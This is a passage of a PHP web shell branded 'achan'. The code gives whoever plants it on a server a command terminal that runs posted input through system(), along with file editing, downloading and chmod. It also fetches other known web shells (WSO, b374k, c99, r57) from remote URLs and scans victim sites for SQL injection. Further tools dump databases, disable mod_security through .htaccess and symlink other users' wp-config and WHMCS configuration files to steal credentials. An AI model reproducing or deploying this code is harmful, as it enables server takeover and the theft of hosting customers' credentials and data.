601 refpage('?i='.$_GET['i']);
602}else{
603 refpage('?i='.$_GET['i']);
604}
605}elseif ($_GET['a']=='view') {
606 echo'
607 <div class="w3-center w3-container">
608 <h3 class="w3-indigo w3-text-white w3-text-shadow">View file</h3>
609<p>Current file: <i>'.$_GET['i'].'/'.$_GET['s'].'</i></p></div>
610';
611
612 $f=$_GET['i'].'/'.$_GET['s'];
613 $file = wordwrap(file_get_contents($f),160,"\n",true);
614 $a= highlight_string($file,true);
615 $old = array("0000BB","000000","FF8000","DD0000", "007700");
616 $new = array("f00","000", "333333", "f000e1" , "FF8000");
617 $a= str_ireplace($old,$new, $a);
618 $result = $a;
619
620 echo'
621 <pre class="w3-codespan">'.$result.'</pre>';
622}elseif ($_GET['a']=='edit') {
623 echo "<div class='w3-center w3-container'>
624 <h3 class='w3-indigo w3-text-white w3-text-shadow'>Edit file</h3>
625 <form method='post'>
626 <center><table><tr><td>
627 save as :</td><td><input type='text' name='namabaru' value='".$_GET['s']."' class='w3-input w3-animate-input' style='width:200px'></td><td><input type='submit' value='>>' class='w3-btn w3-indigo' name='sbmt'></td></tr></table>
628 <textarea class='w3-codespan' style='width:100%;height:600px;' name='txta'>".htmlspecialchars(file_get_contents($_GET['i']."/".$_GET['s']))."</textarea>
629 </form></div>";
630}
631if(isset($_POST['sbmt'])){
632 $fp=fopen($_GET['i']."/".$_POST['namabaru'],'w');
633 if(fwrite($fp,$_POST['txta'])){
634 refpage("?i=".$_GET['i']);
635 }else{
636 refpage("?i=".$_GET['i']);
637 }
638 fclose($fp);
639}elseif ($_GET['a']=='download') {
640 ob_clean();
641 $dunlut = $_GET['i']."/".$_GET['s'];
642 header('Content-Description: File Transfer');
643 header('Content-Type: application/octet-stream');
644 header('Content-Disposition: attachment; filename="'.basename($dunlut).'"');
645 header('Expires: 0');
646 header('Cache-Control: must-revalidate');
647 header('Pragma: public');
648 header('Content-Length: ' . filesize($dunlut));
649 readfile($dunlut);
650 exit;
651}elseif ($_GET['a']=='chmod') {
652 echo "<div class='w3-container w3-center'>
653 <h3 class='w3-indigo w3-text-white w3-text-shadow'>Change Permission</h3>
654 <table><tr><td>
655 new Permission :</td><td><input type='number' name='perms' value='".octdec(fileperms($_GET['i']."/".$_GET['s']))."' class='w3-input w3-animate-input' style='width:200px;'></td><td><input type='submit' value='>>' class='w3-btn w3-indigo'></td></tr></table></form></div>";
656}
657if(isset($_POST['perms'])){
658 if(chmod($_GET['i']."/".$_GET['s'],$_POST['perms'])){
659refpage("?i=".$_GET['i']);
660 }else{
661 refpage("?i=".$_GET['i']);
662 }
663}elseif ($_GET['a']=='tentang') {
664 echo tentang();
665}elseif ($_GET['a']=='shell') {
666
667 echo "
668<h3 class='w3-indigo w3-text-shadow w3-text-white w3-center'> Terminal Command Shell </h3>
669 <form method='post'>
670 <pre class='w3-code w3-indigo w3-text-shadow' style='height:700px;'>achan@".$_SERVER['HTTP_HOST'].":".getcwd()." $<input type='text' name='shell' class='w3-indigo w3-text-shadow' style='width:100%;height:24px;border:0;' value='".$_POST['shell']."'></form><br>";
671 if(isset($_POST['shell'])){
672 system($_POST['shell']);
673 }
674echo "</pre>";
675
676}elseif ($_GET['a']=='cmd') {
677 if(strtolower(substr(PHP_OS, 0, 3)) === 'win') {
678 echo "
679<h3 class='w3-indigo w3-text-shadow w3-text-white w3-center'> Command Prompt </h3>
680 <form method='post'>
681 <pre class='w3-code w3-indigo w3-text-shadow' style='height:700px;'>achan > ".getcwd()." ><input type='text' name='cmd' class='w3-indigo w3-text-shadow' style='width:100%;height:24px;border:0;' value='".$_POST['cmd']."'></form><br>";
682 if(isset($_POST['cmd'])){
683 exe($_POST['shell']);
684 }
685 echo "</pre>";
686}else{
687 echo "<div class='w3-panel w3-indigo'><h3>This Just Work in Windows Server.</h3></div>";
688}
689}elseif ($_GET['a']=='phpinfo') {
690 @ob_start();
691 @eval("phpinfo();");
692 $buff = @ob_get_contents();
693 @ob_end_clean();
694 $awal = strpos($buff,"<body>")+6;
695 $akhir = strpos($buff,"</body>");
696 echo "<div class=\"w3-table w3-striped w3-border w3-indigo w3-text-black w3-text-shadow\">".substr($buff,$awal,$akhir-$awal)."</div>";
697}elseif ($_GET['a']=='wso') {
698if(ambilcode($l['wso'],'achan-wso.php')){
699 echo"Request done! <a href='achan-wso.php' target='_blank'>Click Here!</a>";
700 }else{
701 echo"Failed check your connection!";
702 }
703}elseif ($_GET['a']=='injection') {
704if(ambilcode($l['injection'],'achan-1n73ction.php')){
705 echo"Request done! <a href='achan-1n73ction.php' target='_blank'>Click Here!</a>";
706 }else{
707 echo"Failed check your connection!";
708 }
709}elseif ($_GET['a']=='bejak') {
710if(ambilcode($l['bejak'],'achan-b374k.php')){
711 echo"Request done! <a href='achan-b374k.php' target='_blank'>Click Here!</a>";
712 }else{
713 echo"Failed check your connection!";
714 }
715}elseif ($_GET['a']=='idx') {
716 if(ambilcode($l['indoxploit_shell'],'achan-indoxploit.php')){
717 echo"Request done! <a href='achan-indoxploit.php' target='_blank'>Click Here!</a>";
718 }else{
719 echo"Failed check your connection!";
720 }
721}elseif ($_GET['a']=='c') {
722 if(ambilcode($l['c99'],'achan-c99.php')){
723 echo"Request done! <a href='achan-c99.php' target='_blank'>Click Here!</a>";
724 }else{
725 echo"Failed check your connection!";
726 }
727}elseif ($_GET['a']=='r') {
728 if(ambilcode($l['r57'],'achan-r57.php')){
729 echo"Request done! <a href='achan-r57.php' target='_blank'>Click Here!</a>";
730 }else{
731 echo"Failed check your connection!";
732 }
733}elseif ($_GET['a']=='andela') {
734 if(ambilcode($l['andela'],'achan-andela.php')){
735 echo"Request done! <a href='achan-andela.php' target='_blank'>Click Here!</a>";
736 }else{
737 echo"Failed check your connection!";
738 }
739}elseif ($_GET['a']=='sbh') {
740 if(ambilcode($l['sbh'],'achan-sbh.php')){
741 echo"Request done! <a href='achan-sbh.php' target='_blank'>Click Here!</a>";
742 }else{
743 echo"Failed check your connection!";
744 }
745}elseif ($_GET['a']=='bh') {
746 if(ambilcode($l['bh'],'achan-bh.php')){
747 echo"Request done! <a href='achan-bh.php' target='_blank'>Click Here!</a>";
748 }else{
749 echo"Failed check your connection!";
750 }
751}elseif ($_GET['a']=='adminer') {
752if(ambilcode($l['adminer'],'achan-adminer.php')){
753 echo"Request done! <a href='achan-adminer.php' target='_blank'>Click Here!</a>";
754 }else{
755 echo"Failed check your connection!";
756 }
757}elseif ($_GET['a']=='svc') {
758 echo'
759 <div class="w3-center w3-container">
760 <h3 class="w3-indigo w3-text-white w3-text-shadow w3-center">SQL injection vulnerable checker</h3>
761 <form method="post" >
762 <textarea style="width:60%;height:300px;" placeholder="http://korban.co.li/anu.php?id=1" name="korban" class="w3-indigo w3-codespan" style="width:500px;height:250px;border:0;"></textarea><br>
763 <input type="submit" name="submit" value="Check!" class="w3-btn w3-indigo w3-hover-white">
764</form>
765<br>';
766if(isset($_POST['submit'])){
767$ko=$_POST['korban'];
768
769$pisah=explode("\n",$ko);
770echo "<hr>
771<table class='w3-table w3-striped w3-border'><thead class='w3-black'><th>No.</th><th>Website</th><th>Status</th></thead>";
772$no=1;
773foreach ($pisah as $ah) {
774 $dapatkan=file_get_contents($ah."'");
775 if(preg_match('/SQL syntax;|You Have Error|Warning|mysql_fetch_array|mysql_fetch_assoc|mysql_num_rows/',$dapatkan)){
776 echo "<tr class='w3-green w3-hover-white'><td>".$no++."</td><td><b>".$ah."</b></td><td>[<i>vulnerable</i>]</td></tr>";
777 }else{
778 echo "<tr class='w3-indigo w3-hover-white'><td>".$no++."</td><td><b>".$ah."</b></td><td>[<i>not vulnerable</i>]</td></tr>";
779 }
780}
781}
782echo "</table></div>";
783}elseif ($_GET['a']=='dbdump') {
784 echo '
785 <div class="w3-center w3-container">
786 <h3 class="w3-indigo w3-text-white w3-text-shadow w3-center">Database dumper</h3>
787 <form method="post" >
788<table class="w3-table w3-striped w3-border">
789<tr>
790 <td>Hostname </td>
791 <td><input type="text" name="server" class="w3-input w3-animate-input" style="width:200px"></td></tr><tr>
792 <td>Username</td>
793 <td><input type="text" name="username" class="w3-input w3-animate-input" style="width:200px"></td></tr><tr>
794 <td>Password</td>
795 <td><input type="text" name="password" class="w3-input w3-animate-input" style="width:200px"></td></tr><tr>
796 <td>DataBase</td>
797 <td><input type="text" name="dbname" class="w3-input w3-animate-input" style="width:200px"></td></tr>
798 <tr>
799 <td>DB Type </td>
800 <td>
801 <select name="method" class="w3-input w3-animate-input" style="width:200px">
802 <option value="gzip">Gzip</option>
803 <option value="sql">Sql</option>
804 </select>
805 <input name="btnx" type="submit" value="Dump" class="w3-btn w3-indigo w3-hover-white"></td></tr>
806 </form></center></table>
807
808 </div>';
809if (isset($_POST['btnx'])){
810$date = date("Y-m-d");
811$dbserver = $_POST['server'];
812$dbuser = $_POST['username'];
813$dbpass = $_POST['password'];
814$dbname = $_POST['dbname'];
815$file = "achan-$dbname-$date";
816$method = $_POST['method'];
817if ($method=='sql'){
818$file="achan-$dbname-$date.sql";
819$fp=fopen($file,"w");
820}else{
821$file="achan-$dbname-$date.sql.gz";
822$fp = gzopen($file,"w");
823}
824function write($data) {
825global $fp;
826if ($_POST['method']=='ssql'){
827fwrite($fp,$data);
828}else{
829gzwrite($fp, $data);
830}}
831mysql_connect ($dbserver, $dbuser, $dbpass);
832mysql_select_db($dbname);
833$tables = mysql_query ("SHOW TABLES");
834while ($i = mysql_fetch_array($tables)) {
835 $i = $i['Tables_in_'.$dbname];
836 $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
837 write($create['Create Table'].";\n\n");
838 $sql = mysql_query ("SELECT * FROM ".$i);
839 if (mysql_num_rows($sql)) {
840 while ($row = mysql_fetch_row($sql)) {
841 foreach ($row as $j => $k) {
842 $row[$j] = "'".mysql_escape_string($k)."'";
843 }
844 write("INSERT INTO $i VALUES(".implode(",", $row).");\n");
845 }
846 }
847}
848if ($method=='ssql'){
849fclose ($fp);
850}else{
851gzclose($fp);}
852header("Content-Disposition: attachment; filename=" . $file);
853header("Content-Type: application/download");
854header("Content-Length: " . filesize($file));
855flush();
856
857$fp = fopen($file, "r");
858while (!feof($fp))
859{
860 echo fread($fp, 65536);
861 flush();
862}
863fclose($fp);
864
865}
866}elseif ($_GET['a']=='mkdir') {
867 echo "
868 <div class='w3-container w3-center'>
869 <h3 class='w3-indigo w3-text-white w3-text-shadow'>Mass Make Directory</h3>
870<form method='post'>
871<textarea class='w3-indigo w3-code' style='border:0;width:700px;height:280px;' name='mkdir'>newdir\nnewdir2</textarea><br>
872<input type='submit' class='w3-btn w3-indigo w3-hover-white' value='make dir'>
873</form>
874</div>
875 ";
876if(isset($_POST['mkdir'])){
877 $dir=$_POST['mkdir'];
878 $mdir=explode("\n",$dir);
879 foreach ($mdir as $ndir) {
880 mkdir($_GET['i']."/".$ndir,0777);
881 }
882 echo "<script>
883 window.location.href='?i=".$_GET['i']."';
884 </script>";
885}
886}elseif ($_GET['a']=='mkfile') {
887
888 echo "
889 <div class='w3-container w3-center'>
890 <h3 class='w3-indigo w3-text-white w3-text-shadow'>Make File</h3>
891<form method='post'>
892<table><tr><td>Save as:</td><td><input type='text' name='letakf' class='w3-input w3-animate-input' style='width:280px;' value='".$d."/achan-newfile.php'></td><td><input type='submit' class='w3-btn w3-indigo w3-hover-white' value='make file' name='subfile'></td></tr></table>
893<textarea class='w3-indigo w3-code' style='border:0;width:100%;height:500px;' name='mkfile'><?php\necho'sometext';\n?></textarea><br>
894</form>
895</div>";
896if(isset($_POST['subfile'])){
897 $xp=fopen($_POST['letakf'],"w");
898 if(fwrite($xp,$_POST['mkfile'])){
899 echo "<script>
900 alert('file created!');
901 </script>";
902 }else{
903 echo "<script>
904 alert('failed to create file');
905 </script>";
906 }
907 fclose($xp);
908}
909}elseif ($_GET['a']=='hi') {
910 if(isset($_POST['gethash'])){
911 $hash = $_POST['hash'];
912 if(strlen($hash)==32){
913 $hashresult = "MD5 Hash";
914 }elseif(strlen($hash)==40){
915 $hashresult = "SHA-1 Hash/ /MySQL5 Hash";
916 }elseif(strlen($hash)==13){
917 $hashresult = "DES(Unix) Hash";
918 }elseif(strlen($hash)==16){
919 $hashresult = "MySQL Hash / /DES(Oracle Hash)";
920 }elseif(strlen($hash)==41){
921 $GetHashChar = substr($hash, 40);
922 if($GetHashChar == "*"){
923 $hashresult = "MySQL5 Hash";
924 }
925 }elseif(strlen($hash)==64){
926 $hashresult = "SHA-256 Hash";
927 }elseif(strlen($hash)==96){
928 $hashresult = "SHA-384 Hash";
929 }elseif(strlen($hash)==128){
930 $hashresult = "SHA-512 Hash";
931 }elseif(strlen($hash)==34){
932 if(strstr($hash, '$1$')){
933 $hashresult = "MD5(Unix) Hash";
934 }
935 }elseif(strlen($hash)==37){
936 if(strstr($hash, '$apr1$')){
937 $hashresult = "MD5(APR) Hash";
938 }
939 }elseif(strlen($hash)==34){
940 if(strstr($hash, '$H$')){
941 $hashresult = "MD5(phpBB3) Hash";
942 }
943 }elseif(strlen($hash)==34){
944 if(strstr($hash, '$P$')){
945 $hashresult = "MD5(Wordpress) Hash";
946 }
947 }elseif(strlen($hash)==39){
948 if(strstr($hash, '$5$')){
949 $hashresult = "SHA-256(Unix) Hash";
950 }
951 }elseif(strlen($hash)==39){
952 if(strstr($hash, '$6$')){
953 $hashresult = "SHA-512(Unix) Hash";
954 }
955 }elseif(strlen($hash)==24){
956 if(strstr($hash, '==')){
957 $hashresult = "MD5(Base-64) Hash";
958 }
959 }else{
960 $hashresult = "Hash type not found";
961 }
962 }else{
963 $hashresult = "Not Hash Enteindigo";
964 }
965
966 echo'
967 <div class="w3-container w3-center">
968 <h3 class="w3-indigo w3-text-white w3-text-shadow"> Hash Identification </h3>
969
970 <form method="POST">
971 <table class="w3-table w3-striped">
972 <tr><td>Enter Hash</td></b><td>:</td> <td><input type="text" name="hash" class="w3-input w3-animate-input" style="width:200px"/></td><td><input type="submit" name="gethash" value="Identify Hash" class="w3-btn w3-indigo"/></td></tr>
973 <tr><b><td>Result</td><td>:</td><td colspan=2>'.$hashresult.'</td></tr></b>
974 </table></tr></form>
975 </div>';
976}elseif ($_GET['a']=='ph') {
977 $submit= $_POST['enter'];
978if (isset($submit)) {
979$pass = $_POST['password'];
980$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN';
981$hash = md5($pass);
982$md4 = hash("md4",$pass);
983$hash_md5 = md5($salt.$pass);
984$hash_md5_double = md5(sha1($salt.$pass));
985$hash1 = sha1($pass);
986$sha256 = hash("sha256",$text);
987$hash1_sha1 = sha1($salt.$pass);
988$hash1_sha1_double = sha1(md5($salt.$pass));
989}
990echo '
991<div class="w3-container w3-center">
992<h3 class="w3-indigo w3-text-shadow w3-text-white"> Password Hash </h3>
993<form method="post">
994<table class="w3-table w3-striped">
995<tr><td>Input string :</td>
996<td><input type="text" name="password" class="w3-input w3-animate-input" style="width:280px" /></td><td>
997<input type="submit" name="enter" value="hash" class="w3-btn w3-indigo"/>
998</td></tr>
999<tr class="w3-indigo"><th colspan="3">Hasil Hash</th></center></tr>
1000<tr><td>Original Password</td><td colspan="2"><input type="text" value="'.$pass.'" class="w3-input w3-animate-input" style="width:280px"></td></tr>
1001<tr><td>MD5</td><td colspan="2"><input type="text" class="w3-input w3-animate-input" style="width:280px" value="'.$hash.'"></td></tr>
1002<tr><td>MD4</td><td colspan="2"><input type="text" class="w3-input w3-animate-input" style="width:280px" value="'.$md4.'"></td></tr>
1003<tr><td>MD5 with Salt</td><td colspan="2"><input type="text" class="w3-input w3-animate-input" style="width:280px" value="'.$hash_md5.'"></td></tr>
1004<tr><td>MD5 with Salt & Sha1</td><td colspan="2"><input type="text" class="w3-input w3-animate-input" style="width:280px" value="'.$hash_md5_double.'"></td></tr>
1005<tr><td>Sha1</td><td colspan="2"><input type="text" class="w3-input w3-animate-input" style="width:280px" value="'.$hash1.'"></td></tr>
1006<tr><td>Sha256</td><td colspan="2"><input type="text" class="w3-input w3-animate-input" style="width:280px" value="'.$sha256.'"></td></tr>
1007<tr><td>Sha1 with Salt</td><td colspan="2"><input type="text" class="w3-input w3-animate-input" style="width:280px" value="'.$hash1_sha1.'"></td></tr>
1008<tr><td>Sha1 with Salt & MD5</td><td colspan="2"><input type="text" class="w3-input w3-animate-input" style="width:280px" value="'.$hash1_sha1_double.'"></td></tr></table></div>';
1009}elseif ($_GET['a']=='ed') {
1010 echo'<div class="w3-center w3-container">
1011 <h3 class="w3-indigo w3-text-shadow w3-text-white"> Enc0de & Dec0de + Conventer </h3>
1012 <br>
1013<form method="post">
1014<textarea name="e" style="width:77%;height:300px" placeholder="input string here [!]" class="w3-indigo">
1015</textarea><br><br>
1016<center>
1017 <select name="opt" style="width:70%" class="w3-input w3-center">
1018 <optgroup label="Converter">
1019 <option value="dechex">Decimal to Hexa</option> <option value="hexdec">Hexa to Decimal</option>
1020<option value="decoct">Decimal to Octa</option>
1021<option value="octdec">Octa to Decimal</option>
1022 <option value="decbin">Decimal to Binary</option>
1023 <option value="bindec">Binary to Decimal</option>
1024 <option value="hexbin">Hexa to Binary</option>
1025<option value="binhex">Binary to Hexa</option>
1026</optgroup><optgroup label="encode&decode">
1027 <option value="url">URL</option> <option value="base64">base64</option>
1028<option value="urlbase64">URL - base64</option>
1029<option value="cuu">Convert_uu</option>
1030<option value="sgzcuus64">str_rot13 - gzinflate - convert_uu - str_rot13 - base64 </option>
1031<option value="gz64">gzinflate - base64</option>
1032 <option value="sgz64">str_rot13 - gzinflate - base64</option>
1033 <option value="s64">str_rot13 - gzinflate - str_rot13 - base64</option>
1034<option value="sb64">str_rot13 - base64 </option>
1035 <option value="64url">URL - base64</option>
1036<option value="64u64u">URL - base64 - url - base64</option>
1037<option value="ss64"> base64 - str_rot13 - str_rot13</option>
1038</optgroup>
1039 </select>
1040 <br>
1041<input type="submit" value="Convert!" name="c" class="w3-btn w3-indigo w3-hover-white">
1042<input type="submit" value="enc0de" name="en" class="w3-btn w3-blue w3-hover-white">
1043<input type="submit" value="dec0de" name="de" class="w3-btn w3-yellow w3-hover-white">
1044</form>
1045
1046 ';
1047 $a = $_POST['e'];
1048 $o = $_POST['opt'];
1049 if(isset($_POST['c'])){
1050 switch($o){
1051 case'dechex';
1052 $s= dechex($a);
1053 break;
1054 case'dechex';
1055 $s= hexdec($a);
1056 break;
1057 case'decoct';
1058 $s= decoct($a);
1059 break;
1060 case'octdec';
1061 $s= octdec($a);
1062 break;
1063 case'decbin';
1064 $s= decbin($a);
1065 break;
1066 case'bindec';
1067 $s= bindec($a);
1068 break;
1069 case'hexbin';
1070 $s= hex2bin($a);
1071 break;
1072 case'binhex';
1073 $s= bin2hex($a);
1074 break;
1075 }
1076echo'<br>:: OutPut ::<br><textarea style="width:77%;height:300px " class="w3-indigo">'.$s.'</textarea>';
1077 }elseif(isset($_POST['en'])){
1078 switch($o){
1079 case'url';
1080 $r=urlencode($a);
1081 break;
1082 case'base64';
1083 $r=base64_encode($a);
1084 break;
1085 case'urlbase64';
1086 $r=urlencode(base64_encode($a));
1087 break;
1088 case'gz64';
1089 $r=base64_encode(gzdeflate($a));
1090
1091 break;
1092 case'sgz64';
1093 $r=base64_encode(gzdeflate(str_rot13($a)));
1094 break;
1095 case's64';
1096 $r=(base64_encode(str_rot13(gzdeflate(str_rot13($a)))));
1097 break;
1098 case'sb64';
1099 $r=base64_encode(str_rot13($a));
1100 break;
1101 case'64url';
1102 $r=base64_encode(urlencode($a));
1103 break;
1104 case'64u64u';
1105 $r=base64_encode(urlencode(base64_encode(urlencode($a))));
1106 break;
1107 case'cuu';
1108 $r=convert_uuencode($a);
1109 break;
1110 case'sgzcuus64';
1111 $r=base64_encode(str_rot13(convert_uuencode(gzdeflate(str_rot13($a)))));
1112 break;
1113 case'ss64';
1114 $r=str_rot13(str_rot13(base64_encode($a)));
1115 break;
1116 }
1117 echo'<br>:: OutPut::<br><textarea style="width:77%;height:300px" class="w3-indigo">'.$r.'</textarea>';
1118
1119 }
1120//Dec0de
1121 if(isset($_POST['de'])){
1122 switch($o){
1123 case'url';
1124 $r=urldecode($a);
1125 break;
1126 case'base64';
1127 $r=base64_decode($a);
1128 break;
1129 case'urlbase64';
1130 $r=base64_decode(urldecode($a));
1131 break;
1132 case'gz64';
1133 $r=gzinflate(base64_decode($a));
1134
1135 break;
1136 case'sgz64';
1137 $r=str_rot13(gzinflate(base64_decode($a)));
1138 break;
1139 case's64';
1140 $r=str_rot13(gzinflate(str_rot13(base64_decode($a))));
1141 break;
1142 case'sb64';
1143 $r=str_rot13(base64_decode($a));
1144 break;
1145 case'64url';
1146 $r=urldecode(base64_decode($a));
1147 break;
1148 case'64u64u';
1149 $r=urldecode(base64_decode(urldecode(base64_decode($a))));
1150 break;
1151 case'cuu';
1152 $r=convert_uudecode($a);
1153 break;
1154 case'sgzcuus64';
1155 $r=str_rot13(gzinflate(convert_uudecode(str_rot13(base64_decode($a)))));
1156 break;
1157 case'ss64';
1158 $r=base64_decode(str_rot13(str_rot13($a)));
1159 }
1160 $rx = htmlspecialchars($r);
1161 echo'<br>:: OutPut::<br><textarea style="width:77%;height:300px" class="w3-indigo">'.$rx.'</textarea>';
1162 }
1163}elseif ($_GET['a']=='rs') {
1164 echo"
1165 <div class='w3-container w3-center'>
1166 <h3 class='w3-indigo w3-text-shadow w3-text-white'> auto replace string </h3>
1167 <br>
1168 <form method='post'>
1169 <table class='w3-table w3-border'>
1170 <tr><td colspan=2><input type='submit' name='sstr' value='replace all' style='width:100%;' class='w3-btn w3-btn-block w3-indigo'></td></tr>
1171 <tr><td>
1172 <textarea name='str' style='width:600px;height:200px;' class='w3-indigo'>Your string here</textarea></td><td>
1173 <textarea name='str2' style='width:600px;height:200px;' class='w3-blue'>string will u replace</textarea></td></tr>
1174 <tr><td>
1175 <textarea name='str3' style='width:600px;height:200px;' class='w3-yellow'>string replace</textarea></td><td>
1176 <form>";
1177 if(isset($_POST['sstr'])){
1178 $rep=str_replace($_POST['str2'],$_POST['str3'],$_POST['str']);
1179 if($rep){
1180 echo'
1181 <textarea style="width:600px;height:200px;" class="w3-green">'.htmlspecialchars($rep).'</textarea>';
1182 }
1183 }
1184 echo "</td></tr></table>";
1185}elseif ($_GET['a']=='logout') {
1186 session_destroy();
1187 echo "<script>
1188 alert('Bye!');
1189 window.location.href='?login.php';
1190 </script>";
1191}elseif ($_GET['a']=='achan') {
1192 echo tentangAchan();
1193}elseif ($_GET['a']=='jkt48') {
1194 echo tentangJKT48();
1195}elseif ($_GET['a']=='cg') {
1196 if(!file("/etc/passwd")){ $etcpasswd="/etc/passwd gak bisa di akses!";}else{ $etcpasswd= file_get_contents('/etc/passwd');}
1197 echo'<div class="w3-container w3-center"><h3 class="w3-indigo w3-text-white w3-text-shadow">Config Grabber</h3>';
1198 echo'<form method=post><center><textarea name="user" class="w3-code w3-indigo" style="width:100%;height:500px">'.$etcpasswd.'</textarea><br><br><input type="submit" name="su" value="Gotcha e\'m all!" class="w3-btn w3-indigo"></form></center>';
1199
1200if(isset($_POST['su']))
1201 {
1202 mkdir('config_grab',0777);
1203 $r = " \nOptions Indexes FollowSymLinks \nForceType text/plain \nAddType text/plain .php \nAddType text/plain .html \nAddType text/html .shtml \nAddType txt .php \nAddHandler server-parsed .php \nAddHandler server-parsed .shtml \nAddHandler txt .php \nAddHandler txt .html \nAddHandler txt .shtml \nOptions All \n<IfModule mod_security.c> \nSecFilterEngine Off \nSecFilterScanPOST Off \nSecFilterCheckURLEncoding Off \nSecFilterCheckCookieFormat Off \nSecFilterCheckUnicodeEncoding Off \nSecFilterNormalizeCookies Off \n</IfModule>";
1204$f = fopen('config_grab/.htaccess','w');
1205fwrite($f,$r);
1206echo "<br><center><b><i><a href='config_grab'>TOUCH ME SENPAI</a></i></b></center>";
1207$usr=explode("\n",$_POST['user']);
1208foreach($usr as $uss)
1209{
1210 $us=trim($uss);
1211$r="config_grab/";
1212symlink('/home/'.$us.'/public_html/wp-config.php',$r.$us.'..wp-config');
1213symlink('/home/'.$us.'/public_html/configuration.php',$r.$us.'..joomla-or-whmcs');symlink('/home/'.$us.'/public_html/blog/wp-config.php',$r.$us.'..wp-config');
1214symlink('/home/'.$us.'/public_html/blog/configuration.php',$r.$us.'..joomla');symlink('/home/'.$us.'/public_html/wp/wp-config.php',$r.$us.'..wp-config');
1215symlink('/home/'.$us.'/public_html/wordpress/wp-congig.php',$r.$us.'..wordpress');symlink('/home/'.$us.'/public_html/config.php',$r.$us.'..config');
1216symlink('/home/'.$us.'/public_html/whmcs/configuration.php',$r.$us.'..whmcs');
1217symlink('/home/'.$us.'/public_html/support/configuration.php',$r.$us.'..supporwhmcs');
1218symlink('/home/'.$us.'/public_html/secure/configuration.php',$r.$us.'..securewhmcs');
1219symlink('/home/'.$us.'/public_html/clients/configuration.php',$r.$us.'..whmcs-clients');
1220symlink('/home/'.$us.'/public_html/client/configuration.php',$r.$us.'..whmcs-client');
1221symlink('/home/'.$us.'/public_html/billing/configuration.php',$r.$us.'..whmcs-billing');
1222symlink('/home/'.$us.'/public_html/admin/config.php',$r.$us.'..admin-config');
1223}
1224echo'<center>berhasil!! <a href="config_grab" target="_blank">touch me senpai..</a></center>';
1225}
1226}elseif ($_GET['a']=='af') {
1227echo'<div class="w3-container w3-center"><h3 class="w3-indigo w3-text-shadow w3-text-white">Admin finder</h3>';
1228echo'<form method="POST" action="">site : <input type="text" name="url" style="width:260px" value="http://" class="w3-input w3-animate-input" style="width:300px;"><input type="submit" name="submit" value="find[!]" class="w3-btn w3-indigo" /><br><br>';
1229function xss_protect($data, $strip_tags = false, $allowed_tags = "") {
1230 if($strip_tags) {
1231 $data = strip_tags($data, $allowed_tags . "<b>");
1232 }
1233
1234 if(stripos($data, "script") !== false) {
1235 $result = str_replace("script","scr<b></b>ipt", htmlentities($data, ENT_QUOTES));
1236 } else {
1237 $result = htmlentities($data, ENT_QUOTES);
1238 }
1239
1240 return $result;
1241}
1242function urlExist($url)
1243{
1244 $handle = curl_init($url);
1245 if (false === $handle)
1246 {
1247 return false;
1248 }
1249 curl_setopt($handle, CURLOPT_HEADER, false);
1250 curl_setopt($handle, CURLOPT_FAILONERROR, true);
1251 curl_setopt($handle, CURLOPT_HTTPHEADER, Array("User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15") ); // request as if Firefox
1252 curl_setopt($handle, CURLOPT_NOBODY, true);
1253 curl_setopt($handle, CURLOPT_RETURNTRANSFER, false);
1254 $connectable = curl_exec($handle);
1255 curl_close($handle);
1256 return $connectable;
1257}
1258 if(isset($_POST['submit']) && isset($_POST['url']))
1259 {
1260 $url= htmlentities(xss_protect($_POST['url']));
1261 if(filter_var($url, FILTER_VALIDATE_URL))
1262 {
1263 $trying = array(':2082',':2083','a_admins/','admin/','adminweb/','po-admin','index.php?q=admin','administrator/','admin/admin.php','cpanel','admin3/','admin4/','admin5/','usuarios/',
1264 'usuario/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/',
1265 'panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php',
1266 'admin/index.php','admin/login.php','admin/admin.php','admin/account.php','admin_area/admin.php',
1267 'admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html',
1268 'admin/index.html','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php',
1269 'bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html','admin/controlpanel.php','admin.php',
1270 'admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',
1271 'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html',
1272 'panel-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php',
1273 'nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php','administrator/account.php',
1274 'administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php',
1275 'bb-admin/index.html','bb-admin/login.html','acceso.php','bb-admin/admin.html','admin/home.html',
1276 'login.php','modelsearch/login.php','moderator.php','moderator/login.php','moderator/admin.php','account.php',
1277 'pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
1278 'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php',
1279 'adminarea/index.html','adminarea/admin.html','webadmin.php','webadmin/index.php','webadmin/admin.php',
1280 'admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html',
1281 'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html',
1282 'login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html',
1283 'panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html',
1284 'adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html',
1285 'panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php',
1286 'adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel-administracion/index.php',
1287 'panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php',
1288 'adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php','usuarios/login.php',
1289 'adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php','admin.asp','admin/admin.asp',
